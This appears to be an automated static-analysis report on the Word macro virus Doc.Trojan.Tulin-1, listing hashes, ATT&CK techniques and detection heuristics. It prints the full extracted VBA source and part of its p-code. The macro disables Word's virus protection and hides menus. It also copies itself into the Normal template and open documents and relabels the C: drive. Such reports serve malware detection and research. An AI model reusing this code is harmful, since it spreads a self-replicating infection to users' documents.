Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 f180ab11c461bc6d…

MALICIOUS

Office (OLE)

28.5 KB Created: 2000-04-11 02:51:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 2eaedbec2f9d2d0c9c4507e4162c499e SHA-1: 31c32638c5630440c4b7a9d0a10d8fcb843d60d4 SHA-256: f180ab11c461bc6db97abd1bedf77a71f17379ee4b2ca1f6f35140e7e966d109
340 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder T1204.002 Malicious File

The sample is a Microsoft Word document containing malicious VBA macros, specifically an AutoOpen macro designed to execute upon document opening. The macro attempts to export itself to 'c:\mgd.sys' and then add it to the Normal template, likely to achieve persistence. The ClamAV detection 'Doc.Trojan.Tulin-1' further supports its malicious nature. The macro's primary function appears to be setting up persistence and potentially downloading additional stages, though the full payload execution is not detailed in the provided script.

Heuristics 7

  • ClamAV: Doc.Trojan.Tulin-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Tulin-1
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7674 bytes
SHA-256: e79aeb90ba328e5a21350315b88083a9cd8b75b5db0dfb1312f460b9f855f12f
Detection
ClamAV: Doc.Trojan.Tulin-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "tulin"
Attribute VB_Base = "1Normal.tulin"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Rem " Murat mgd "
Rem " this is for tulin "
On Error Resume Next

Application.EnableCancelKey = 0
Options.VirusProtection = 0
Options.SaveNormalPrompt = 0
Options.ConfirmConversions = 0

CommandBars("Tools").Controls("Macro").Visible = 0
CommandBars("Tools").Controls("Templates and Add-Ins...").Visible = 0

inf_normal = False
inf_activ = False

If NormalTemplate.VBProject.VBComponents.Item(1).Name <> "tulin" Then
   inf_normal = True
End If

If ActiveDocument.VBProject.VBComponents.Item(1).Name <> "tulin" Then
   inf_activ = True
End If

If inf_normal <> True And inf_activ <> True Then
   GoTo vir_exit
End If

If inf_normal Then
    ActiveDocument.VBProject.VBComponents.Item(1).Export "c:\mgd.sys"
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\mgd.sys")
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, 4
    NormalTemplate.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine 1, "Sub AutoClose()"
    NormalTemplate.VBProject.VBComponents.Item(1).Name = "tulin"
End If

If inf_activ Then
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.AddFromFile ("c:\mgd.sys")
    ActiveDocument.VBProject.VBComponents.Item(1).CodeModule.DeleteLines 1, 4
    ActiveDocument.VBProject.VBComponents.Item(1).Name = "tulin"
End If

vir_exit:

save_flag = False

If (Month(Date) = 2 And Day(Date) = 14) Or (Month(Date) = 9 And Day(Date) = 28) Or (Month(Date) = 11 And Day(Date) = 6) Then
    Selection.Paragraphs.Add
    Selection.Font.Bold = True
    Selection.Font.Size = 14
    Selection.TypeText Text:="You Give Your Heart Today Tomorrow and Forever "
    save_flag = True
End If

With Dialogs(wdDialogFileSummaryInfo)
    .Comments = "my namber is 666"
    .Execute
End With

Shell ("label c:TULIN"), 0

If (inf_normal <> True And inf_activ = True) Or save_flag = True Then
    ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End If

End Sub

' Processing file: /opt/analyzer/scan_staging/6e30f12867b54fd2b98450eac2b8d5c9.bin
' ===============================================================================
' Module streams:
' Macros/VBA/tulin - 3856 bytes
' Line #0:
' 	FuncDefn (Sub AutoOpen())
' Line #1:
' 	Rem 0x000E " " Murat mgd ""
' Line #2:
' 	Rem 0x0016 " " this is for tulin ""
' Line #3:
' 	OnError (Resume Next) 
' Line #4:
' Line #5:
' 	LitDI2 0x0000 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #6:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt VirusProtection 
' Line #7:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt SaveNormalPrompt 
' Line #8:
' 	LitDI2 0x0000 
' 	Ld Options 
' 	MemSt ConfirmConversions 
' Line #9:
' Line #10:
' 	LitDI2 0x0000 
' 	LitStr 0x0005 "Macro"
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' Line #11:
' 	LitDI2 0x0000 
' 	LitStr 0x0018 "Templates and Add-Ins..."
' 	LitStr 0x0005 "Tools"
' 	ArgsLd CommandBars 0x0001 
' 	ArgsMemLd Controls 0x0001 
' 	MemSt Visible 
' Line #12:
' Line #13:
' 	LitVarSpecial (False)
' 	St inf_normal 
' Line #14:
' 	LitVarSpecial (False)
' 	St inf_activ 
' Line #15:
' Line #16:
' 	LitDI2 0x0001 
' 	Ld NormalTemplate 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "tulin"
' 	Ne 
' 	IfBlock 
' Line #17:
' 	LitVarSpecial (True)
' 	St inf_normal 
' Line #18:
' 	EndIfBlock 
' Line #19:
' Line #20:
' 	LitDI2 0x0001 
' 	Ld ActiveDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd New 
' 	LitStr 0x0005 "tulin"
' 	Ne 
' 	IfBlock 
' Line #21:
' 	LitVarSpecial (True)
' 	St inf_activ 
' Line #22:
' 	EndIfBlock 
' Line #23:
' Line #24:
' 	Ld inf_normal 
' 	LitVarSpecial (True)
' 	Ne 
' 	Ld inf_activ 
' 	LitVarSpecial (True)
' 	Ne 
' 	And 
' 	IfBlock 
' Line #25:
' 	GoTo vir_exit
... (truncated)

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